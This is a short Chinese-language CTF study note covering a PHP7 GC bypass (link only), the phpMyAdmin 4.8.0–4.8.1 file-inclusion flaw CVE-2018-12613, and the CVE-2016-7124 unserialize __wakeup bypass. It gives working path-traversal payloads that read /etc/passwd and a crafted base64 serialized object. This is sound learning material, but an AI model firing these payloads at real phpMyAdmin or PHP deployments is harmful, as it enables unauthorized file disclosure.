目录
2、phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞
1、php7-gc-bypass
exp:https://github.com/devil8123665/exploits/blob/master/php7-gc-bypass/exploit.php
题目:[GKCTF2020]CheckIN
wp:https://blog.csdn.net/m0_46230316/article/details/106477417
2、phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞
题目:[GWCTF 2019]我有一个数据库
wp:https://www.cnblogs.com/wangtanzhi/p/12284857.html https://www.cnblogs.com/20175211lyz/p/12194801.html
影响版本:4.8.0——4.8.1
payload:/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd
官方wp:/index.php?target=db_sql.php%253f/../../../../../../../../flag
3、CVE-2016-7124漏洞反序列化
绕过__wakeup()方法
<?php class SoFun{ protected $file='index.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); else die('Wrong filename.'); } } function __wakeup(){ $this-> file='index.php'; } public function __toString() return '' ; } } if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode($_GET['file']); echo unserialize($file); } ?> #<!--key in flag.php-->
分析一下源码,__destruct
方法中show_source(dirname (__FILE__).'/'.$this ->file);
会读取file文件内容,我们需要利用这里来读flag.php,思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是__wakeup
会在unserialize之前执行,所以要绕过这一点。
这里就要用到CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
构造序列化对象:O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
绕过__wakeup:O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
注意:因为file是protect属性,所以需要加上\00*\00。再base64编码。
payload:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==